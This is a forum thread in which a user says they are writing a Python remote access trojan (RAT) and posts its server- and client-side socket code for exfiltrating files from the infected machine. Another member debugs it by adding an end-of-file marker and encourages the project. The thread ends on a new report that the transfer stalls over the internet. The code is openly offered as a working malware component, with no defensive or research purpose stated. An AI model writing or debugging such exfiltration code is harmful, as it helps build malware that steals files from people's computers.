File exfiltration, python rat

[GGHTC]

Hi, i am coding a Rat right now.
I tried to do file exfiltration and i had this problem:

SERVER SIDE:
if "download" in command:
filename = command[9:]
print(filename)
send_command()
if "yes" in s.recv(BUFFER).decode():
with open(filename, "wb") as filetodownload:
while True:
bytes_read = s.recv(BUFFER)
if not (bytes_read):break
filetodownload.write(bytes_read)
print("Done")

CLIENT SIDE:

if "download" in command:
filename = command[9:]
if os.path.exists(filename) == True:
s.send("yes".encode())
with open(filename, "rb") as f:
while True:
try:
bytes_read = f.read(BUFFER)
except:break
if not (bytes_read):break
s.sendall(bytes_read)

When i execute the rat and call this, the file gets downloaded but then the script stops without executing the 'print("Done")', can someone help me?

 

[Count Zero]

If you do something about the formatting, maybe I can help you

 

[bisset]

i assume you have print statement after your while loop. if yes then your while is going in infinite loop. Instead of True you should put some other condition

 

[GGHTC]

i assume you have print statement after your while loop. if yes then your while is going in infinite loop. Instead of True you should put some other condition

No the print is out of the loop, i just try to transfer a client via sockets

 

[babyl0n]

# SERVER SIDE:
if "download" in command:
    filename = command[9:]
    print(filename)
    send_command()
    if "yes" in s.recv(BUFFER).decode():
        with open(filename, "wb") as filetodownload:
            while True:
                bytes_read = s.recv(BUFFER)
                if bytes_read == b"EOF":
                    break
                filetodownload.write(bytes_read)
        print("Done")

# CLIENT SIDE:
if "download" in command:
    filename = command[9:]
    if os.path.exists(filename) == True:
        s.send("yes".encode())
        with open(filename, "rb") as f:
            while True:
                try:
                    bytes_read = f.read(BUFFER)
                except:
                    break
                if not (bytes_read):
                    break
                s.sendall(bytes_read)
        s.sendall(b"EOF")

Try this.

Maybe the While loop on the server is stuck or dont know how to correctly ends. With this, you send a EOF when file is downloaded on client, then your server receives the EOF signal and breaks the loop.

 

[GGHTC]

# SERVER SIDE:
if "download" in command:
    filename = command[9:]
    print(filename)
    send_command()
    if "yes" in s.recv(BUFFER).decode():
        with open(filename, "wb") as filetodownload:
            while True:
                bytes_read = s.recv(BUFFER)
                if bytes_read == b"EOF":
                    break
                filetodownload.write(bytes_read)
        print("Done")

# CLIENT SIDE:
if "download" in command:
    filename = command[9:]
    if os.path.exists(filename) == True:
        s.send("yes".encode())
        with open(filename, "rb") as f:
            while True:
                try:
                    bytes_read = f.read(BUFFER)
                except:
                    break
                if not (bytes_read):
                    break
                s.sendall(bytes_read)
        s.sendall(b"EOF")

Try this.

Maybe the While loop on the server is stuck or dont know how to correctly ends. With this, you send a EOF when file is downloaded on client, then your server receives the EOF signal and breaks the loop.

WORKED!! Thank you really much!

 

[babyl0n]

WORKED!! Thank you really much!

Glad to help brat ;D. Would like to see that RAT someday

 

[GGHTC]

Glad to help brat ;D. Would like to see that RAT someday

Hi, i have the problem that the script is stuck again. In my local network all this works perfectly, but when i do it over internet it gets stuck at the same point. ports are opened, socket works etc.